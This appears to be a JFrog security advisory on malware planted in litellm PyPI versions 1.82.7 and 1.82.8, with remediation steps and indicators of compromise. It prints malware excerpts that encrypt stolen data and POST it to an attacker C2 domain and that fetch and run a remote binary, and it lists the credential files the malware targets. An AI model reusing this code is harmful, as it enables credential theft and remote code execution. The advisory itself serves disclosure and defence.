The JFrog security research team has identified a compromise in the widely used litellm PyPI package. As of now, the entire package (all versions) has been quarantined by PyPI. This ongoing compromise is also being tracked by the open source community.
litellm is an open-source Python library that provides a unified interface to call over 100 different LLM APIs (like OpenAI, Anthropic, and VertexAI) using the same input/output format. The package is extremely popular, boasting over 480M lifetime downloads.
On March 24th, new versions of litellm were uploaded to PyPI - litellm 1.82.7 and 1.82.8. This version contains a malicious payload in both proxy_server.py file and litellm_init.pth. This compromise is probably a direct result of litellm‘s usage of trivy in their CI/CD, which was also compromised recently.
The C2 addresses and payload have exact similarities to the payload seen on recent TeamPCP npm libraries compromise, containing the same python backdoor script.
The malware operates in three stages:
A base64-encoded payload is embedded directly in both proxy_server.py file and litellm_init.pth
On import/execution, it decodes the payload to a temp file and runs it via subprocess.run([sys.executable, p]). This immediately triggers the next stage.
try:
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"https://models[.]litellm[.]cloud/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)
except Exception:
pass
It then proceeds to execute the collector as a subprocess, Then it captures collector’s stdout into a file, encrypts it and sends to the c2c server hxxrs[:]//models[.]litellm[.]cloud/
It uses asymmetric encryption so only the attacker (who holds the private key) can decrypt.

The code performs a comprehensive sweep of the host, collecting everything listed in the next section. Furthermore, if the code is running inside Kubernetes with a service account token available, it enumerates all K8s nodes and deploys a privileged pod on every node in the kube-system namespace. Each pod mounts the host filesystem at / and drops the Stage 3 persistence backdoor via chroot.
On the local host, installs the Stage 3 backdoor as a systemd user service - sysmon.service.
The backdoor is Installed to ~/.config/sysmon/sysmon.py, registered as a systemd user service named "System Telemetry Service".
req = urllib.request.Request("https[:]//checkmarx[.]zone/raw", headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
if link and "youtube.com" not in l:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
After an initial 300-second (5-minute) sleep, enters an infinite loop:
- Polls
hxxrs[:]//checkmarx[.]zone/rawevery 3000 seconds (~50 min) for a download URL. - Downloads the binary to
/tmp/pglog, marks it executable, and runs it in a detached session then checks whether it's a youtube link, the similar way it was doing at the previous deployment in recent supply chain attacks - Tracks the last-fetched URL in
/tmp/.pg_stateto avoid redundant downloads.
Similar to the previous attacks, the server returns the url link as a placeholder for the real payload.
This gives the attacker the ability to push arbitrary second-stage payloads at any time.
All collected data is encrypted (AES-256-CBC + RSA-4096 envelope) and POSTed to hxxps[:]//models[.]litellm[.]cloud/
The domain models[.]litellm[.]cloud is attacker-controlled, designed to look like a legitimate litellm infrastructure domain.
| Category | Specific Targets |
|---|---|
| System recon | hostname, whoami, uname -a, IP addresses, routes, full environment variables (printenv) |
| SSH keys & config | id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, config from all user home dirs + /root; SSH host keys from /etc/ssh |
| Git credentials | .git-credentials, .gitconfig |
| AWS | ~/.aws/credentials, ~/.aws/config, AWS_* env vars, EC2 IMDS role credentials (IMDSv2), ECS container credentials, Secrets Manager secrets (list + retrieve values), SSM parameters |
| GCP | ~/.config/gcloud/*, application_default_credentials.json, GOOGLE_APPLICATION_CREDENTIALS file |
| Azure | ~/.azure/*, AZURE_* env vars |
| Kubernetes | ~/.kube/config, service account tokens + CA certs, all secrets across all namespaces, KUBE_*/K8S_* env vars, kubectl get secrets output |
| Docker | ~/.docker/config.json (registry credentials), /kaniko/.docker/config.json |
| Environment files | .env, .env.local, .env.production, .env.development, .env.staging, .env.test from CWD, parent dirs, /app, and recursively from common roots |
| Database credentials | .pgpass, my.cnf, redis.conf, .mongorc.js, DB_*/DATABASE_*/MYSQL_*/POSTGRES_*/MONGO_*/REDIS_*/VAULT_* env vars |
| CI/CD & IaC | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, .travis.yml, Jenkinsfile, .drone.yml, ansible.cfg, Helm configs |
| TLS/SSL private keys | .pem, .key, .p12, .pfx files from /etc/ssl/private, /etc/letsencrypt, and all common roots |
| Auth tokens & secrets | .npmrc, .vault-token, .netrc, LDAP configs, Postfix SASL passwords |
| Shell histories | .bash_history, .zsh_history, .sh_history, .mysql_history, .psql_history, .rediscli_history |
| VPN | WireGuard configs (/etc/wireguard/*.conf), wg showconf output |
| Webhooks & API keys | Slack/Discord webhook URLs, API keys/secrets from .env*, .json, .yml, .yaml files |
| Cryptocurrency wallets | Bitcoin (wallet.dat, bitcoin.conf), Ethereum (keystore), Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero configs; Solana keypairs (validator, vote, stake, identity, faucet, withdrawer); Cardano signing/verification keys; Anchor project deploy keys |
| System auth | /etc/passwd, /etc/shadow, auth logs (accepted logins) |
- Identify affected systems: Audit all environments for
litellmversions 1.82.7 or 1.82.8 (pip show litellm). If found, Downgrade litellm to a verified clean version. - Isolate affected hosts: Quarantine any system that ran these versions. Assume full credential compromise.
-
Kill persistence:
- Stop and disable the systemd service:
systemctl --user stop sysmon.service && systemctl --user disable sysmon.service - Remove
~/.config/sysmon/sysmon.pyand~/.config/systemd/user/sysmon.service - Kill any running
/tmp/pglogprocess - Remove
/tmp/pglogand/tmp/.pg_state
- Stop and disable the systemd service:
-
Block C2 domains at network/DNS level:
models[.]litellm[.]cloudcheckmarx[.]zone
- K8s-specific: Check for rogue pods named
node-setup-*inkube-systemnamespace. Delete them. Check all nodes for the persistence backdoor at/root/.config/sysmon/. - Revoke and Rotate all exposed credentials from the environment
- Scan for additional persistence: The downloaded payload (
/tmp/pglog) is unknown; a full host forensic analysis is recommended.
As we've seen in the past week, many libraries were compromised with the same payload. The attack is ongoing and has the possibility to target more repositories and ecosystems in the future. Users must be aware of that, and be careful with their software supply chain updates.
The payload as before is broad and diverse, targeting many environments and uses C2 addresses with names and similarities to the same exact library, and to legitimate companies, confusing security incident responders.
This package is already detected by JFrog Xray and JFrog Curation, under the Xray ID listed in the IoC section below.
- C2 address -
hxxrs[:]//models[.]litellm[.]cloud/ - Payload fetch URL -
hxxrs[:]//checkmarx[.]zone/raw litellm(PyPI) - 1.82.7, 1.82.8 (XRAY-955589)